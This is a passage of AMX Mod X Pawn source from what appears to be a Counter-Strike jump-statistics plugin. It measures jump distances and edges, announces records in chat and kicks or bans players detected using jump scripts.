							if(wpn!=29 && wpn!=17 && wpn!=16)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT14",weapon_name);
							}
							if(fps_hight[id] && jump_type[id]!=Type_ladder)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT15");
								fps_hight[id]=false;
							}
							if(ladderbug[id])
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT16");
								ladderbug[id]=false;
							}
							if(find_ladder[id] && jump_type[id]==Type_DuckBhop)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT17");
								find_ladder[id]=false;
							}
							if(touch_somthing[id])
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT18");
							}
							if(Show_edge[id] && failed_jump[id]==false && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
							{
								if((jumpblock[id]+Landing+edgedist[id])>(distance[id]+10.0) || Landing<=0.0)
								{
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT21",jumpblock[id],edgedist[id]);
								}
								else if(land_bug )
								{
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT19",jumpblock[id],edgedist[id],Landing);
								}
								else client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT20",jumpblock[id],edgedist[id],Landing);
							}
							else if(Show_edge[id] && failed_jump[id] && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT21",jumpblock[id],edgedist[id]);
							}
							else if(Show_edge_Fail[id] && failed_jump[id] && jump_type[id]!=Type_ladder && edgedist[id]<100.0 && edgedist[id]!=0.0)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT22",edgedist[id]);	
							}
							if(find_script)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_PROBSCRIPT");
								
							}
							if(trigger_protection[id])
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CTRIGGERPROTECT");
								trigger_protection[id]=false;
							}
						}
					}
					
					if(wpn==29 || wpn==17 || wpn==16 || wpn==4 || wpn==9 || wpn==25)
					{
						formatex(weapon_name,20,"");
					}
					else
					{
						new tmp_str[21];
						
						formatex(tmp_str,20,"[");
						add(weapon_name, 20, "]");
						add(tmp_str, 20, weapon_name);
						formatex(weapon_name,20,tmp_str);
					}
					
					if(find_script)
					{
						new punishment[64];
						formatex(punishment,63,"%L",LANG_SERVER,"UQSTATS_PUNISHBLOCK");
						
						switch(uq_script_punishment)
						{
							case 1:
							{
								formatex(punishment,63,"%L",LANG_SERVER,"UQSTATS_PUNISHKICK");
							}
							case 2:
							{
								formatex(punishment,63,"%L",LANG_SERVER,"UQSTATS_PUNISHBAN",uq_ban_minutes);
							}
						}
						
						if(jump_type[id]!=Type_None)
						{
							Log_script(FullJumpFrames[id],angles_arry[id],id,distance[id],maxspeed[id],prestrafe[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp),Jtype[id],weapon_name1,punishment,strMess);
					
							switch(uq_script_punishment)
							{
								case 1:
								{
									kick_function(id,Jtype[id]);										
								}
								case 2:
								{
									ban_function(id,Jtype[id]);
								}
							}
						}
					}
					
					
					new block_colorchat_dist;
					if(uq_block_chat_show)
					{
						block_colorchat_dist=god_dist;
						
						switch(uq_block_chat_min)
						{
							case 0:
								block_colorchat_dist=good_dist;
							case 1:
								block_colorchat_dist=pro_dist;
							case 2:
								block_colorchat_dist=holy_dist;
							case 3:
								block_colorchat_dist=leet_dist;
							case 4:
								block_colorchat_dist=god_dist;
						}
					}
					
					new block_str[20];
					
					if(jumpblock[id]>=block_colorchat_dist && uq_block_chat_show && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
					{
						formatex(block_str,19,"%L",LANG_SERVER,"UQSTATS_COLORCHAT_BLOCK",jumpblock[id]);
					}
					else
					{
						formatex(block_str,19,"");
					}
					
					new iPlayers[32],iNum; 
					get_players( iPlayers, iNum,"ch") ;
					
					for(new i=0;i<=iNum;i++) 
					{ 
						new ids=iPlayers[i]; 
						if(gHasColorChat[ids] ==true || ids==id)
						{	
							if( !failed_jump[id] )
							{
								if((jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_Double_CountJump
									|| (multiscj[id]!=2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]!=2 && jump_type[id]==Type_Drop_CountJump) || jump_type[id]==Type_CountJump
									|| jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_BhopLongJump || jump_type[id]==Type_StandupBhopLongJump || jump_type[id]==Type_WeirdLongJump
									|| jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump))
								{
									if ( distance[id] >= god_dist ) {
										if( uq_sounds && enable_sound[ids]==true )
										{
											client_cmd(ids, "speak misc/mod_godlike");
										}
										if( uq_light ) krasnota(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],/*goodSyncTemp*100/(goodSyncTemp+badSyncTemp)*/sync_[id]);
									}
									else if ( distance[id] >= leet_dist  ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/mod_wickedsick");
									
										if( uq_light ) krasnota(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= holy_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/holyshit");
									
										if( uq_light ) sineva(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= pro_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/perfect");
									
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >=good_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/impressive");
									
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
								}
								if(jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id]==Type_Drop_CountJump))
								{
									if ( distance[id] >= god_dist ) {
										if( uq_sounds && enable_sound[ids]==true )
										{
											client_cmd(ids, "speak misc/mod_godlike");
										}
										if( uq_light ) krasnota(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= leet_dist  ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/mod_wickedsick");
									
										if( uq_light ) krasnota(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= holy_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/holyshit");
									
										if( uq_light ) sineva(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= pro_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/perfect");
									
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >=good_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/impressive");
									
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
								}
							}	
						}
					}
					
					// UberBeam start
					if( kz_beam[id]==true)
						{
						for( new i = 0; i < 100; i++ ) {
							if( gBeam_points[id][i][0] == 0.0
							&& gBeam_points[id][i][1] == 0.0
							&& gBeam_points[id][i][2] == 0.0 ) {
								continue;
							}
						
							message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
							write_byte ( TE_BEAMPOINTS );
							if( i == 100 ) {
								write_coord(floatround(gBeam_points[id][i][0]));
								write_coord(floatround(gBeam_points[id][i][1]));
								write_coord(floatround(jumpoff_origin[id][2]-34.0));
								write_coord(floatround(land_origin[0]));
								write_coord(floatround(land_origin[1]));
								write_coord(floatround(jumpoff_origin[id][2]-34.0));
							} else {
								if ( i > 2 ) {
									write_coord(floatround(gBeam_points[id][i-1][0]));
									write_coord(floatround(gBeam_points[id][i-1][1]));
									write_coord(floatround(jumpoff_origin[id][2]-34.0));
								} else {
									write_coord(floatround(jumpoff_origin[id][0]));
									write_coord(floatround(jumpoff_origin[id][1]));
									write_coord(floatround(jumpoff_origin[id][2]-34.0));
								}
								write_coord(floatround(gBeam_points[id][i][0]));
								write_coord(floatround(gBeam_points[id][i][1]));
								write_coord(floatround(jumpoff_origin[id][2]-34.0));
							}
							write_short(gBeam);
							write_byte(1);
							write_byte(5);
							write_byte(30);
							write_byte(20);
							write_byte(0);
							if(gBeam_duck[id][i])
							{
								write_byte(255);
								write_byte(0);
								write_byte(0);
							}
							else if(beam_type[id]==2 && gBeam_button[id][i])
							{
								if(gBeam_button_what[id][i]==1)
								{
									write_byte(0);
									write_byte(255);
									write_byte(0);
								}
								else if(gBeam_button_what[id][i]==2)
								{
									write_byte(0);
									write_byte(0);
									write_byte(255);
								}
							}
							else 
							{
								write_byte(255);
								write_byte(255);
								write_byte(0);
							}
							write_byte(200);
							write_byte(200);
							message_end();
						}
					}
					JumpReset(id,25);
				}
				
				new bool:posible_dropcj;
				if(button & IN_DUCK && !(oldbuttons &IN_DUCK) && (jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump))
				{
					new Float:tmpdropcj_start[3],Float:tmpdropcj_end[3],Float:tmpdropcj_frame[3];
					pev(id, pev_origin, origin);
					
					tmpdropcj_start=origin;
					tmpdropcj_start[2]=tmpdropcj_start[2]-36.0;
					
					tmpdropcj_end=tmpdropcj_start;
					tmpdropcj_end[2]=tmpdropcj_end[2]-20;
					
					engfunc(EngFunc_TraceLine,origin,tmpdropcj_end, IGNORE_GLASS, id, 0); 
					get_tr2( 0, TR_vecEndPos, tmpdropcj_frame);
					
					if(tmpdropcj_start[2]-tmpdropcj_frame[2]<=18.0)
					{
						posible_dropcj=true;
						in_duck[id]=false;
					}
					else posible_dropcj=false;
				}
				
				if(!in_air[id] && button & IN_DUCK && !(oldbuttons &IN_DUCK) && (flags & FL_ONGROUND || posible_dropcj) && !in_duck[id] && UpcjFail[id]==false)
				{	
					if( get_gametime( ) - duckoff_time[id] < 0.3 )
					{
						started_multicj_pre[id] = true;
						prest[id]= speed[id]; 
						ducks[id]++;
						statsduckspeed[id][ducks[id]]=speed[id];
						new Float:tmporg_z;
						if(is_user_ducking(id))
						{
							tmporg_z=origin[2]+18.0;
						}
						else tmporg_z=origin[2];
						
						if(tmporg_z-first_duck_z[id]>4.0)
						{
							JumpReset(id,654);
							if(dropbhop[id])
								dropbhop[id]=false;
							if(in_ladder[id])
								in_ladder[id]=false;
								
							dropupcj[id]=true;
							
							return FMRES_IGNORED;
						}
						
						for( new i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{
								if(showpre[id]==true && showduck[id]==true)
								{
									set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_DUCKPRE",speed[i]);
								}
							}
						}
					}
					else
					{
						pev(id, pev_origin, origin);
						
						ducks[id]=0;
						prest1[id]= speed[id]; //ground pre
						ducks[id]++;//schetchik duckov
						duckstartz[id]=origin[2];
						statsduckspeed[id][ducks[id]]=speed[id];//dlya vivoda stati po ducka
						
						started_cj_pre[id] = true;
						nextbhop[id]=false;
						bhopaem[id]=false;
						if(first_duck_z[id] && (origin[2]-first_duck_z[id])>4)
						{
							dropupcj[id]=true;
							
							JumpReset(id,655);
							if(dropbhop[id])
								dropbhop[id]=false;
							if(in_ladder[id])
								in_ladder[id]=false;
								
							return FMRES_IGNORED;
						}
						if(ducks[id]==1) 
						{
							if(is_user_ducking(id))
							{
								first_duck_z[id]=origin[2]+18.0;
							}
							else first_duck_z[id]=origin[2];
						}
						if(dropupcj[id]==false && get_gametime()-FallTime[id]<0.3 && (in_ladder[id] || jump_type[id]==Type_ladderBhop || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || dropbhop[id]))
						{
							in_ladder[id]=false;
							jump_type[id] = Type_Drop_CountJump;
							formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DRCJ");
							formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DRCJ");
							multidropcj[id]=0;
							dropaem[id]=true;
							
							if(dropbhop[id])
								dropbhop[id]=false;
							if(in_ladder[id])
								in_ladder[id]=false;
						}
						
						for( new i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{
								if(showpre[id]==true && showduck[id]==true)
								{
									set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_DUCKPRE",speed[i]);
								}
							}
						}
					}
					
					in_duck[id] = true;
				}
				else if( !in_air[id] && oldbuttons & IN_DUCK && (flags & FL_ONGROUND || posible_dropcj) && UpcjFail[id]==false)
				{
					if( !is_user_ducking( id ) )
					{	
						in_duck[id] = false;
						if( started_cj_pre[id] )
						{
							started_cj_pre[id] = false;
							
							duckoff_time[id] = get_gametime( );
							duckoff_origin[id] = origin;
							FallTime1[id]=get_gametime();
						
							strafe_num[id] = 0;
							TempSpeed[id] = 0.0;
							
							if(jump_type[id] != Type_Drop_CountJump)
							{
								jump_type[id] = Type_CountJump;
								jump_typeOld[id]=1;			
								if(nextbhop[id] || bhopaem[id])
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAJ");
									
									CjafterJump[id]=1;
			
									ddafterJump[id]=true;
								}
								else
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJ");
									
									CjafterJump[id]=0;
									ddafterJump[id]=false;
								}
								
							}
							else 
							{
								FallTime[id]=get_gametime();
								multidropcj[id]=0;
								jump_typeOld[id]=1;
							}
						}
						else if( started_multicj_pre[id] )
						{
							started_multicj_pre[id] = false;
							
							duckoff_time[id] = get_gametime( );
							duckoff_origin[id] = origin;
							FallTime1[id]=get_gametime();
							
							strafe_num[id] = 0;
							TempSpeed[id] = 0.0;
							
							if(jump_type[id] != Type_Drop_CountJump)
							{
								jump_type[id] = Type_Double_CountJump;
								jump_typeOld[id]=2;
								if(nextbhop[id] || bhopaem[id])
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAJ");
									
									CjafterJump[id]=2;
									ddafterJump[id]=true;
								}
								else
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJ");
									
									CjafterJump[id]=0;
									ddafterJump[id]=false;
								}
							}
							else 
							{	
								multidropcj[id]=1;
								FallTime[id]=get_gametime();
								jump_typeOld[id]=2;
							}
						}
						if(ducks[id]>2)
						{	
							if(jump_type[id] != Type_Drop_CountJump)
							{
								jump_type[id] = Type_Multi_CountJump; //detect mcj
								jump_typeOld[id]=3;
								if(nextbhop[id] || bhopaem[id])
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAJ");
									
									CjafterJump[id]=3;
									ddafterJump[id]=true;
								}
								else
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJ");
									
									CjafterJump[id]=0;
									ddafterJump[id]=false;
								}
							}
							else 
							{	
								multidropcj[id]=2;
								FallTime[id]=get_gametime();
								jump_typeOld[id]=3;
							}	
						}
					}
				}
				
				
				if(flags&FL_ONGROUND && g_Jumped[id]==false && jofon[id] && movetype[id] != MOVETYPE_FLY)
				{
					new Float:new_origin[3],Float:tmpOrigin[3], Float:tmpOrigin2[3];
						
					pev(id,pev_origin,new_origin);
					new_origin[2]=new_origin[2]-36.1;
					
					pev(id, pev_velocity, velocity);
					
					for(new i=0,j=-18;i<3;i++,j=j+18)
					{
						tmpOrigin=new_origin;
						tmpOrigin2=new_origin;
						
						if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							tmpOrigin[1]=new_origin[1]+200;
							tmpOrigin2[1]=new_origin[1]-16;
							
							tmpOrigin[0]=tmpOrigin[0]+j;
							tmpOrigin2[0]=tmpOrigin2[0]+j;
							
						}
						else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							tmpOrigin[1]=new_origin[1]-200;
							tmpOrigin2[1]=new_origin[1]+16;
							
							tmpOrigin[0]=tmpOrigin[0]+j;
							tmpOrigin2[0]=tmpOrigin2[0]+j;
						}
						else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							tmpOrigin[0]=new_origin[0]+200;
							tmpOrigin2[0]=new_origin[0]-16;
							
							tmpOrigin[1]=tmpOrigin[1]+j;
							tmpOrigin2[1]=tmpOrigin2[1]+j;
						}
						else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							tmpOrigin[0]=new_origin[0]-200;
							tmpOrigin2[0]=new_origin[0]+16;
							
							tmpOrigin[1]=tmpOrigin[1]+j;
							tmpOrigin2[1]=tmpOrigin2[1]+j;
						}
						
						new Float:tmpEdgeOrigin[3];
						
						engfunc(EngFunc_TraceLine,tmpOrigin,tmpOrigin2, IGNORE_GLASS, id, 0); 
						get_tr2( 0, TR_vecEndPos, tmpEdgeOrigin);
					
						if(get_distance_f(tmpEdgeOrigin,tmpOrigin2)!=0.0)
						{
							jof[id]=get_distance_f(tmpEdgeOrigin,tmpOrigin2)-0.031250;
						}
					}
				}
				else if(!(flags&FL_ONGROUND) && g_Jumped[id] && edgedone[id]==false && movetype[id] != MOVETYPE_FLY)
				{
					new onbhopblock,bhop_block[1];
					
					find_sphere_class(id,"func_door", 48.0, bhop_block, 1, Float:{0.0, 0.0, 0.0} );
					
					if(bhop_block[0])
					{
						onbhopblock=true;
					}
					else
					{
						onbhopblock=false;
					}
					
					
					new Float:tmpblock[3],tmpjblock[3],Float:new_origin[3],Float:tmpOrigin[3], Float:tmpOrigin2[3];
						
					new_origin=jumpoff_origin[id];
					if(onbhopblock)
					{
						new_origin[2]=new_origin[2]-40.0;
					}
					else new_origin[2]=new_origin[2]-36.1;
					
					pev(id, pev_velocity, velocity);
					
					new block_checking[3];
					
					for(new i=0,j=-18;i<3;i++,j=j+18)
					{
						tmpOrigin=new_origin;
						tmpOrigin2=new_origin;
						tmpblock=new_origin;
						if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							tmpOrigin[1]=new_origin[1]+100;
							tmpOrigin2[1]=new_origin[1]-16;
							
							tmpOrigin[0]=tmpOrigin[0]+j;
							tmpOrigin2[0]=tmpOrigin2[0]+j;
							
							tmpblock[1]=new_origin[1]+uq_maxedge+1;
							tmpblock[0]=tmpblock[0]+j;
						}
						else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							tmpOrigin[1]=new_origin[1]-100;
							tmpOrigin2[1]=new_origin[1]+16;
							
							tmpOrigin[0]=tmpOrigin[0]+j;
							tmpOrigin2[0]=tmpOrigin2[0]+j;
							
							tmpblock[1]=new_origin[1]-uq_maxedge+1;
							tmpblock[0]=tmpblock[0]+j;
						}
						else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							tmpOrigin[0]=new_origin[0]+100;
							tmpOrigin2[0]=new_origin[0]-16;
							
							tmpOrigin[1]=tmpOrigin[1]+j;
							tmpOrigin2[1]=tmpOrigin2[1]+j;
							
							tmpblock[0]=new_origin[0]+uq_maxedge+1;
							tmpblock[1]=tmpblock[1]+j;
						}
						else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							tmpOrigin[0]=new_origin[0]-100;
							tmpOrigin2[0]=new_origin[0]+16;
							
							tmpOrigin[1]=tmpOrigin[1]+j;
							tmpOrigin2[1]=tmpOrigin2[1]+j;
							
							tmpblock[0]=new_origin[0]-uq_maxedge+1;
							tmpblock[1]=tmpblock[1]+j;
						}
						
						new Float:tmpEdgeOrigin[3];
						
						engfunc(EngFunc_TraceLine,tmpOrigin,tmpOrigin2, IGNORE_GLASS, id, 0); 
						get_tr2( 0, TR_vecEndPos, tmpEdgeOrigin);
								
						if(get_distance_f(tmpEdgeOrigin,tmpOrigin2)!=0.0)
						{
							edgedist[id]=get_distance_f(tmpEdgeOrigin,tmpOrigin2)-0.031250;
						}
						
						new Float:tmpblockOrigin[3];
						
						engfunc(EngFunc_TraceLine,tmpEdgeOrigin,tmpblock, IGNORE_GLASS, id, 0); 
						get_tr2( 0, TR_vecEndPos, tmpblockOrigin);
						
						if(get_distance_f(tmpblockOrigin,tmpEdgeOrigin)!=0.0)
						{
							tmpjblock[i]=floatround(get_distance_f(tmpblockOrigin,tmpEdgeOrigin),floatround_floor)+1;
						}
						
						new Float:checkblock1[3],Float:checkblock2[3];
						tmpblockOrigin[2]=tmpblockOrigin[2]-1.0;
						
						checkblock1=tmpblockOrigin;
						
						if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							checkblock1[1]=checkblock1[1]+2.0;
						}
						else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							checkblock1[1]=checkblock1[1]-2.0;
						}
						else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							checkblock1[0]=checkblock1[0]+2.0;
						}
						else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							checkblock1[0]=checkblock1[0]-2.0;
						}
						
						checkblock2=checkblock1;
						checkblock2[2]=checkblock2[2]+18.0;
						
						new Float:tmpcheckblock[3];
						engfunc(EngFunc_TraceLine,checkblock2,checkblock1, IGNORE_GLASS, id, 0); 
						get_tr2( 0, TR_vecEndPos, tmpcheckblock);
						
						if(floatabs(tmpblockOrigin[2]-tmpcheckblock[2])==0.0)
						{
							block_checking[i]=1;
						}
						
						edgedone[id]=true;
					}
					
					if(tmpjblock[0]!=0 && tmpjblock[0]<=tmpjblock[1] && tmpjblock[0]<=tmpjblock[2])
					{
						if(!block_checking[0])
							jumpblock[id]=tmpjblock[0];
					}
					else if(tmpjblock[1]!=0 && tmpjblock[1]<=tmpjblock[2] && tmpjblock[0]<=tmpjblock[0])
					{
						if(!block_checking[1])
							jumpblock[id]=tmpjblock[1];
					}
					else if(tmpjblock[2]!=0 && tmpjblock[2]<=tmpjblock[1] && tmpjblock[0]<=tmpjblock[0])
					{
						if(!block_checking[2])
							jumpblock[id]=tmpjblock[2];
					}
					else jumpblock[id]=0;
					
					if(equali(mapname,"prochallenge_longjump"))
					{
						jumpblock[id]=jumpblock[id]-1;
					}
					
					new h_jof;
					
					if(jofon[id])
					{
						h_jof=h_speed;
					}
					else h_jof=4;
					
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{	
							if(edgedist[i]!=0.0 && (showjofon[i] || jofon[id])) 
							{
								if(edgedist[i]>5.0)
								{
									set_hudmessage(255, 255, 255, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_jof);
								}
								else
								{
									set_hudmessage(255, 0, 0, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_jof);
								}
								show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_JOF", edgedist[id]);
							}
						}
					}
				}
				
				new Float:checkfall;
				if(jump_type[id]==Type_Drop_CountJump)
				{
					checkfall=0.5;
				}
				else checkfall=0.4;
				
				if(flags&FL_ONGROUND && firstfall_ground[id]==true && get_gametime()-FallTime1[id]>checkfall)
				{
					touch_ent[id]=false;		
					JumpReset(id,26);
					dropbhop[id]=false;
					ddnum[id]=0;
					x_jump[id]=false;
					firstfall_ground[id]=false;
					in_ladder[id]=false;
					nextbhop[id]=false;
					bhopaem[id]=false;
					UpcjFail[id]=false;
					slide_protec[id]=false;
					backwards[id]=false;
					ladderbug[id]=false;
					find_ladder[id]=false;
					touch_somthing[id]=false;
					duckbhop[id]=false;
					dropupcj[id]=false;
					ddstandcj[id]=false;
					ddforcjafterbhop[id]=false;
					ddforcjafterladder[id]=false;
					//if(donehook[id]) ColorChat(id, RED, "reset ground %d %f",jump_type[id],get_gametime()-FallTime1[id]);
					return FMRES_IGNORED;
				}
				
				if(flags&FL_ONGROUND && firstfall_ground[id]==false)
				{
					FallTime1[id]=get_gametime();
					firstfall_ground[id]=true;
				}
				else if(!(flags&FL_ONGROUND) && firstfall_ground[id]==true)
				{
					firstfall_ground[id]=false;
				}
				
				if(flags&FL_ONGROUND && donehook[id] && hookcheck[id]==false)
				{
					timeonground[id]=get_gametime();
					hookcheck[id]=true;
				}
				else if(!(flags&FL_ONGROUND) && donehook[id] && hookcheck[id])
				{
					timeonground[id]=get_gametime()-timeonground[id];
					hookcheck[id]=false;
					
					if(timeonground[id]>0.4)
					donehook[id]=false;
				}
			}
		}
	}
	return FMRES_IGNORED;
}
public kick_function(id,j_type_str[])
{
	new szReason[64];
	formatex(szReason,63,"%L",LANG_SERVER,"UQSTATS_KICKREASON",j_type_str);
	
	emessage_begin( MSG_ONE, SVC_DISCONNECT, _, id );
	ewrite_string( szReason );
	emessage_end( );
}
public ban_function(id,j_type_str[])
{
	new szReason[64];
	formatex(szReason,63,"%s_script",j_type_str);
	
	new ban_authid[64];
	
	switch(uq_ban_authid)
	{
		case 0:
			get_user_name(id,ban_authid,63);
		case 1:
			get_user_ip(id,ban_authid,63,1);
		case 2:
			get_user_authid(id,ban_authid,63);
	}	
	
	switch(uq_ban_type)
	{
		case 0:
		{
